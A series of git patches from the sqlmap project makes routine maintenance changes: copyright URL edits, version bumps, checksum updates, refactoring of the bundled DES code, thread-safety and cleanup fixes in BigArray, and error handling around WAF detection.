@@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/uppercase.py b/tamper/uppercase.py index 40033fcd0cc..7b547d11009 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/varnish.py b/tamper/varnish.py index 52c0e9a4936..b20a353ef90 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index 6ab3230fb5e..a05ce28a9fc 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index 50c22710ea0..38a3ff32fc8 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index 5d2a1bc1fab..60df34a9f25 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/thirdparty/socks/socks.py b/thirdparty/socks/socks.py index 4005cab4d24..d9907e7ac5b 100644 --- a/thirdparty/socks/socks.py +++ b/thirdparty/socks/socks.py @@ -33,7 +33,7 @@ """ """ -Minor modifications made by Miroslav Stampar (https://sqlmap.org/) +Minor modifications made by Miroslav Stampar (https://sqlmap.org) for patching DNS-leakage occuring in socket.create_connection() Minor modifications made by Christopher Gilbert (http://motomastyle.com/) From 8fcd78fcb11a7f25ebb4f79f8ba2c796211e82da Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 9 May 2025 11:54:09 +0200 Subject: [PATCH 175/853] Another patch related to #5896 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/takeover/udf.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 60f6b220022..a6d694a30fb 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -186,7 +186,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -84c8e304f3d383995ed7a29aebebb6706fdd4896f39b5b18043cfb6012dc0fd6 lib/core/settings.py +184c8befe5e613d1d18bbce4b2b7337536f9505f53b2f030d89e9e61f365741d lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -225,7 +225,7 @@ eba8b1638c0c19d497dcbab86c9508b2ce870551b16a40db752a13c697d7d267 lib/request/pk 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/takeover/__init__.py 24f4f85dad38b4641bd70c8c9a2e5221531a37fdd27e04731176c03b5b1784f5 lib/takeover/metasploit.py 0e3b9aa28fe945d0c99613f601b866ae37e7079fe5cc99e0ee5bd389f46e3767 lib/takeover/registry.py -724607c38bc46ed521a4971f6af53ba02cd1efeac9a0c36fa69d2780cfceaef8 lib/takeover/udf.py +479cf4a9c0733ba62bfa764e465a59277d21661647304fa10f6f80bf6ecc518b lib/takeover/udf.py 08270a96d51339f628683bce58ee53c209d3c88a64be39444be5e2f9d98c0944 lib/takeover/web.py d40d5d1596d975b4ff258a70ad084accfcf445421b08dcf010d36986895e56cb lib/takeover/xp_cmdshell.py 9b3ccafc39f24000a148484a005226b8ba5ac142f141a8bd52160dfc56941538 lib/techniques/blind/inference.py diff --git a/lib/core/settings.py b/lib/core/settings.py index cfa15a31afc..8346c1f97e4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.16" +VERSION = "1.9.5.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 67d541cc7a1..b24decd9934 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -360,7 +360,7 @@ def udfInjectCustom(self): msg += "%d (data-type: %s)? " % (count, inp) while True: - parValue = readInput(msg) + parValue = readInput(msg, default=None, checkBatch=False) if parValue: if "int" not in inp and "bool" not in inp: From 5622a261cd5322a20e22b5529583e664d0de8c46 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 May 2025 13:16:37 +0200 Subject: [PATCH 176/853] Minor optimization --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- thirdparty/multipart/multipartpost.py | 2 +- thirdparty/pydes/pyDes.py | 10 +++++----- 4 files changed, 10 insertions(+), 10 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a6d694a30fb..55dd27394bf 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -186,7 +186,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -184c8befe5e613d1d18bbce4b2b7337536f9505f53b2f030d89e9e61f365741d lib/core/settings.py +56d26fde979eed26969c77432953e91dfd041b47bfdeb48283c820951751186f lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -612,13 +612,13 @@ f517561115b0cfaa509d0d4216cd91c7de92c6a5a30f1688fdca22e4cd52b8f8 thirdparty/kee e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py 4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py -fa2c4cfc6f1fb29a3cf4ad119243a10aef2dfe9cf93129436aa649baef8e4764 thirdparty/multipart/multipartpost.py +2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py 9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py 691ae693e3a33dd730930492ff9e7e3bdec45e90e3a607b869a37ecd0354c2d8 thirdparty/prettyprint/__init__.py 8df6e8c60eac4c83b1bf8c4e0e0276a4caa3c5f0ca57bc6a2116f31f19d3c33f thirdparty/prettyprint/prettyprint.py 3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py -d1d54fc08f80148a4e2ac5eee84c8475617e8c18bfbde0dfe6894c0f868e4659 thirdparty/pydes/pyDes.py +4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py 7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE diff --git a/lib/core/settings.py b/lib/core/settings.py index 8346c1f97e4..2b371a20dae 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.17" +VERSION = "1.9.5.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index 5ea37ccf7ca..2f2389807ea 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -34,7 +34,7 @@ # Controls how sequences are uncoded. If true, elements may be given # multiple values by assigning a sequence. -doseq = 1 +doseq = True class MultipartPostHandler(_urllib.request.BaseHandler): diff --git a/thirdparty/pydes/pyDes.py b/thirdparty/pydes/pyDes.py index 05cb1adc87e..5322bf10cf9 100644 --- a/thirdparty/pydes/pyDes.py +++ b/thirdparty/pydes/pyDes.py @@ -453,7 +453,7 @@ def __BitList_to_String(self, data): def __permutate(self, table, block): """Permutate this block with the specified table""" - return list(map(lambda x: block[x], table)) + return [block[i] for i in table] # Transform the secret key, so that it is ready for data processing # Create the 16 subkeys, K[1] - K[16] @@ -506,7 +506,7 @@ def __des_crypt(self, block, crypt_type): self.R = self.__permutate(des.__expansion_table, self.R) # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here - self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) + self.R = [b ^ k for b, k in zip(self.R, self.Kn[iteration])] B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] # Optimization: Replaced below commented code with above #j = 0 @@ -542,7 +542,7 @@ def __des_crypt(self, block, crypt_type): self.R = self.__permutate(des.__p, Bn) # Xor with L[i - 1] - self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) + self.R = [b ^ l for b, l in zip(self.R, self.L)] # Optimization: This now replaces the below commented code #j = 0 #while j < len(self.R): @@ -603,7 +603,7 @@ def crypt(self, data, crypt_type): # Xor with IV if using CBC mode if self.getMode() == CBC: if crypt_type == des.ENCRYPT: - block = list(map(lambda x, y: x ^ y, block, iv)) + block = [b ^ v for b, v in zip(block, iv)] #j = 0 #while j < len(block): # block[j] = block[j] ^ iv[j] @@ -612,7 +612,7 @@ def crypt(self, data, crypt_type): processed_block = self.__des_crypt(block, crypt_type) if crypt_type == des.DECRYPT: - processed_block = list(map(lambda x, y: x ^ y, processed_block, iv)) + processed_block = [b ^ v for b, v in zip(processed_block, iv)] #j = 0 #while j < len(processed_block): # processed_block[j] = processed_block[j] ^ iv[j] From bbfcf81c25e73861cf09256e498c520afd4f02be Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 May 2025 13:52:08 +0200 Subject: [PATCH 177/853] Minor patching --- data/txt/sha256sums.txt | 4 ++-- lib/core/bigarray.py | 17 ++++++++++++++++- lib/core/settings.py | 2 +- 3 files changed, 19 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 55dd27394bf..09d55a18208 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -163,7 +163,7 @@ fad6640f60eac8ad1b65895cbccc39154864843a2a0b0f2ac596d3227edcd4f6 lib/controller 1947e6c69fbc2bdce91d2836e5c9c9535e397e9271ae4b4ef922f7a01857df5e lib/controller/handler.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py 216c9399853b7454d36dcb552baf9f1169ec7942897ddc46504684325cb6ce00 lib/core/agent.py -e1631a3651de5a35a54ff9a8fd83109e06407323b09c3ab758657c5454cc050b lib/core/bigarray.py +a61a74ba17331c419c03bc90d829ba74d183787f39fd902f50198202cb5b26c7 lib/core/bigarray.py 8920eb3115ecd25933084af986f453362aa55a4bd15bfb9e75673239bd206acc lib/core/common.py d53a8aecab8af8b8da4dc1c74d868f70a38770d34b1fa50cae4532cae7ce1c87 lib/core/compat.py ebe518089733722879f5a13e73020ebe55d46fb7410cacf292ca4ea1d9d1c56a lib/core/convert.py @@ -186,7 +186,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -56d26fde979eed26969c77432953e91dfd041b47bfdeb48283c820951751186f lib/core/settings.py +37d96cd99b3011c3173ac7ae3992fd3a8aa5caea892e9fd8ab5a1b442dee3aa0 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 567098dfac6..8a786d29a0d 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -132,6 +132,17 @@ def index(self, value): return ValueError, "%s is not in list" % value + def close(self): + while self.filenames: + filename = self.filenames.pop() + try: + self._os_remove(filename) + except OSError: + pass + + def __del__(self): + self.close() + def _dump(self, chunk): try: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY) @@ -170,8 +181,12 @@ def __setstate__(self, state): self.chunks, self.filenames = state def __getitem__(self, y): + length = len(self) + if length == 0: + raise IndexError("BigArray index out of range") + while y < 0: - y += len(self) + y += length index = y // self.chunk_length offset = y % self.chunk_length diff --git a/lib/core/settings.py b/lib/core/settings.py index 2b371a20dae..22169d577f9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.18" +VERSION = "1.9.5.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ed9fdbd8335da7e17916b92d5c1645a33f88556c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 May 2025 14:08:53 +0200 Subject: [PATCH 178/853] Minor improvement --- data/txt/sha256sums.txt | 4 ++-- lib/core/bigarray.py | 27 +++++++++++++++------------ lib/core/settings.py | 2 +- 3 files changed, 18 insertions(+), 15 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 09d55a18208..f013144d11b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -163,7 +163,7 @@ fad6640f60eac8ad1b65895cbccc39154864843a2a0b0f2ac596d3227edcd4f6 lib/controller 1947e6c69fbc2bdce91d2836e5c9c9535e397e9271ae4b4ef922f7a01857df5e lib/controller/handler.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py 216c9399853b7454d36dcb552baf9f1169ec7942897ddc46504684325cb6ce00 lib/core/agent.py -a61a74ba17331c419c03bc90d829ba74d183787f39fd902f50198202cb5b26c7 lib/core/bigarray.py +440cbab6161f466158c63f0ee97873254655f670ca990fa26bdd0a6e54c42c2a lib/core/bigarray.py 8920eb3115ecd25933084af986f453362aa55a4bd15bfb9e75673239bd206acc lib/core/common.py d53a8aecab8af8b8da4dc1c74d868f70a38770d34b1fa50cae4532cae7ce1c87 lib/core/compat.py ebe518089733722879f5a13e73020ebe55d46fb7410cacf292ca4ea1d9d1c56a lib/core/convert.py @@ -186,7 +186,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -37d96cd99b3011c3173ac7ae3992fd3a8aa5caea892e9fd8ab5a1b442dee3aa0 lib/core/settings.py +aa86123af7058e4d98ddaf50c40329c4ebf6b71233f605915ff3a21d34018449 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 8a786d29a0d..5741b2e61ac 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -14,6 +14,7 @@ import os import sys import tempfile +import threading import zlib from lib.core.compat import xrange @@ -74,6 +75,7 @@ def __init__(self, items=None): self.chunk_length = sys.maxsize self.cache = None self.filenames = set() + self._lock = threading.Lock() self._os_remove = os.remove self._size_counter = 0 @@ -95,18 +97,19 @@ def __iadd__(self, value): return self def append(self, value): - self.chunks[-1].append(value) - - if self.chunk_length == sys.maxsize: - self._size_counter += _size_of(value) - if self._size_counter >= BIGARRAY_CHUNK_SIZE: - self.chunk_length = len(self.chunks[-1]) - self._size_counter = None - - if len(self.chunks[-1]) >= self.chunk_length: - filename = self._dump(self.chunks[-1]) - self.chunks[-1] = filename - self.chunks.append([]) + with self._lock: + self.chunks[-1].append(value) + + if self.chunk_length == sys.maxsize: + self._size_counter += _size_of(value) + if self._size_counter >= BIGARRAY_CHUNK_SIZE: + self.chunk_length = len(self.chunks[-1]) + self._size_counter = None + + if len(self.chunks[-1]) >= self.chunk_length: + filename = self._dump(self.chunks[-1]) + self.chunks[-1] = filename + self.chunks.append([]) def extend(self, value): for _ in value: diff --git a/lib/core/settings.py b/lib/core/settings.py index 22169d577f9..b3fcb83c7b8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.19" +VERSION = "1.9.5.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9ed5652ae2c031a0fa4d85290b5dc2c3e9760f08 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 14 May 2025 15:43:33 +0200 Subject: [PATCH 179/853] Fixes #5899 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- sqlmap.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f013144d11b..842e3ca99be 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -186,7 +186,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -aa86123af7058e4d98ddaf50c40329c4ebf6b71233f605915ff3a21d34018449 lib/core/settings.py +8fb2ee9cdf1f5b47eb51407a83fd876a5e44ef9235c04edf1f9263fad7869507 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -475,7 +475,7 @@ ab661b605012168d72f84a92ff7e233542df3825c66714c99073e56acea37e2e plugins/generi 535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 4121621b1accd6099eed095e9aa48d6db6a4fdfa3bbc5eb569d54c050132cbbf sqlmap.conf -5f84b71134c9b1135b92767499a37c8ce2c39b2046facfdce16bb6a4dd455894 sqlmap.py +515893a1105f06afb6e91d7a32d89ed350828244f2a4c638d36240b284a61363 sqlmap.py 82caac95182ac5cae02eb7d8a2dc07e71389aeae6b838d3d3f402c9597eb086a tamper/0eunion.py bc8f5e638578919e4e75a5b01a84b47456bac0fd540e600975a52408a3433460 tamper/apostrophemask.py c9c3d71f11de0140906d7b4f24fadb9926dc8eaf5adab864f8106275f05526ce tamper/apostrophenullencode.py diff --git a/lib/core/settings.py b/lib/core/settings.py index b3fcb83c7b8..06a282650b7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.20" +VERSION = "1.9.5.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 37d019e4644..24718285ae9 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -378,9 +378,9 @@ def main(): logger.critical(errMsg) raise SystemExit - elif "AttributeError: unable to access item" in excMsg and re.search(r"3\.11\.\d+a", sys.version): + elif "AttributeError:" in excMsg and re.search(r"3\.11\.\d+a", sys.version): errMsg = "there is a known issue when sqlmap is run with ALPHA versions of Python 3.11. " - errMsg += "Please downgrade to some stable Python version" + errMsg += "Please download a stable Python version" logger.critical(errMsg) raise SystemExit From f969dd8825d3971f81307bd08042162e25861d50 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 21 May 2025 16:39:05 +0200 Subject: [PATCH 180/853] Dirty patch for #5901 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/basic.py | 15 +++++++++------ 3 files changed, 12 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 842e3ca99be..ff8f39124d9 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -186,7 +186,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -8fb2ee9cdf1f5b47eb51407a83fd876a5e44ef9235c04edf1f9263fad7869507 lib/core/settings.py +14c12cfb91fec08a446545c7006dc19aed9b5e800d4ff1e615aa453af713e773 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -206,7 +206,7 @@ cfd4857ce17e0a2da312c18dcff28aefaa411f419b4e383b202601c42de40eec lib/parse/head 8baab6407b129985bf0acbea17c6a02d3a1b33b81fc646ce6c780d77fe2cc854 lib/parse/payloads.py d7082e4a5937f65cbb4862701bad7d4fbc096a826621ba7eab92e52e48ebd6d7 lib/parse/sitemap.py 0f52f3c1d1f1322a91c98955bd8dc3be80964d8b3421d453a0e73a523c9cfcbf lib/request/basicauthhandler.py -fbbbdd4d6220b98e0f665b04763e827cae18e772652c67cff5e70557167ed7ca lib/request/basic.py +18cb22d4dabdcc8e3381baf66edd52e74ad2d2067d0116e134a94ffc950c054e lib/request/basic.py fdb4a9f2ca9d01480c3eb115f6fdf8d89f8ff0506c56a223421b395481527670 lib/request/chunkedhandler.py bb8a06257d170b268c66dcbd3c0fbe013de52eed1e63bb68caa112af5b9f8ca9 lib/request/comparison.py 26fda3422995eae2e02313c016d8a5e0dc8235e7406fe094ebdb149742859b0e lib/request/connect.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 06a282650b7..503e121ec9b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.21" +VERSION = "1.9.5.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 4370db4d11a..26c6ba30702 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -395,12 +395,15 @@ def processResponse(page, responseHeaders, code=None, status=None): with kb.locks.identYwaf: identYwaf.non_blind.clear() - if identYwaf.non_blind_check(rawResponse, silent=True): - for waf in set(identYwaf.non_blind): - if waf not in kb.identifiedWafs: - kb.identifiedWafs.add(waf) - errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) - singleTimeLogMessage(errMsg, logging.CRITICAL) + try: + if identYwaf.non_blind_check(rawResponse, silent=True): + for waf in set(identYwaf.non_blind): + if waf not in kb.identifiedWafs: + kb.identifiedWafs.add(waf) + errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) + singleTimeLogMessage(errMsg, logging.CRITICAL) + except SystemError as ex: + singleTimeWarnMessage("internal error occurred in WAF/IPS detection ('%s')" % getSafeExString(ex)) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): From e60bd21b08d6d9420886c678803ab62cbe8fc5d3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 12 Jun 2025 20:40:34 +0200 Subject: [PATCH 181/853] Fixes #5908 --- data/txt/sha256sums.txt | 4 ++-- lib/core/option.py | 5 ++++- lib/core/settings.py | 2 +- 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ff8f39124d9..2a28a8ad8b4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -179,14 +179,14 @@ c9d1f64648062d7962caf02c4e2e7d84e8feb2a14451146f627112aae889afcd lib/core/dump. 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/core/__init__.py 3d308440fb01d04b5d363bfbe0f337756b098532e5bb7a1c91d5213157ec2c35 lib/core/log.py 2a06dc9b5c17a1efdcdb903545729809399f1ee96f7352cc19b9aaa227394ff3 lib/core/optiondict.py -a9540c2a48c83ab3ef108d085a7dadd7dd97a5ccf1ce75a8286b3261eddda88b lib/core/option.py +16a8a7be0d34a2ba77690375c03a5d2c905b752ab3f080c39fdce5f69c3df8ce lib/core/option.py 